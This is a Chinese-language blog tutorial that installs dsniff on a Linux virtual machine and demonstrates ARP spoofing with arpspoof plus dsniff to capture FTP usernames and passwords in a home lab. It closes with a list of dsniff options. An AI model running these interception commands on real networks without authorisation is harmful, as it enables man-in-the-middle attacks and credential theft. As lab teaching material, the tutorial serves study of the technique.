Linux下的Dsniff嗅探浅析

关于dsniff的理论介绍在网上已经有很多的文章,个人看过之后觉得也十分的有收获,这里主要介绍的是在linux下实现嗅探的一个小实例!

操作平台一台Windowns 7的主机和一台安装在vm ware下的一台linux主机,在linux主机上安装配置dsniff和vasftp服务器,之后以此两台主机为平台来实践!

首先是在linux主机上的安装和配置(配置好本机的Yum源即可,这里只编译安装Berkeley_db)

这里使用的套件分别为:Dsniff、libnet、libpcap、openssl、postgresql-libs、apr、Berkeley_db

[root@localhost ~]# yum -y install libnet
[root@localhost ~]# yum -y install libpcap

[root@localhost ~]# yum -y install postgresql-libs

[root@localhost ~]# yum -y install apr

[root@localhost ~]# yum -y install dsniff

[root@localhost ~]# yum -y install openssl

接着下载安装Berkeley_db

Download (HTTP): http://download-east.oracle.com/berkeley-db/db-4.8.26.tar.gz

[root@localhost ~]# tar zxvf db-4.8.26.tar.gz

[root@localhost ~]# cd db-4.8.26/build_unix/

[root@localhost build_unix]# ../dist/configure --prefix=/usr                   --enable-compat185                   --enable-cxx && make

[root@localhost build_unix]#make docdir=/usr/share/doc/db-4.8.26 install && chown -v -R root:root       /usr/bin/berkeley_db_svc       /usr/bin/db_*       /usr/include/db{,_185,_cxx}.h       /usr/lib/libdb{{,_cxx}.a,{,_cxx,_java,_tcl}-4.8.{so,a,la}}       /usr/share/doc/db-4.8.26
接着是测试的部分

首先在linux虚拟机上打开两个虚拟窗口

其中一个窗口进行arp欺骗

[root@localhost ~]# arpspoof -i eth0 -t 192.168.1.1 192.168.1.188(1为网关ip地址,188为windows主机的ip地址)

另外一个端口进行嗅探
[root@localhost ~]# dsniff  -c -f /etc/dsniff/dsniff.services

接着在windows主机上登陆虚拟机Linux的vsftp服务器 (可以得到以下的嗅探数据)

[root@localhost ~]# dsniff  -c -f /etc/dsniff/dsniff.services
dsniff: listening on peth0
-----------------
10/15/11 03:16:36 tcp 192.168.1.188.61983 -> 192.168.1.192.21 (ftp)
PASS 721wyzj
USER anonymous
PASS User@


总结,dsniff嗅探是一个双方欺骗的原理,在两台正常数据交互的主机之间展开欺骗,骗取双方的数据,收集起来己用!

最后附录dsniff的参数

-c 打开半双工tcp流,允许在使用 arpspoof时进行正确的嗅探操作;
-d 启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的
服务
类型);
-I使用特定的
网络
接口;
-m   使用dsniff.magic文件通过在magic文件中定义的特征尝试
自动
判断协议;
-n 不执行主机查找;
-r 从前面保存的会话中读取被嗅探的
数据

-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式 port /proto =service;来加载一个以逗号界定的触发器集;

相关推荐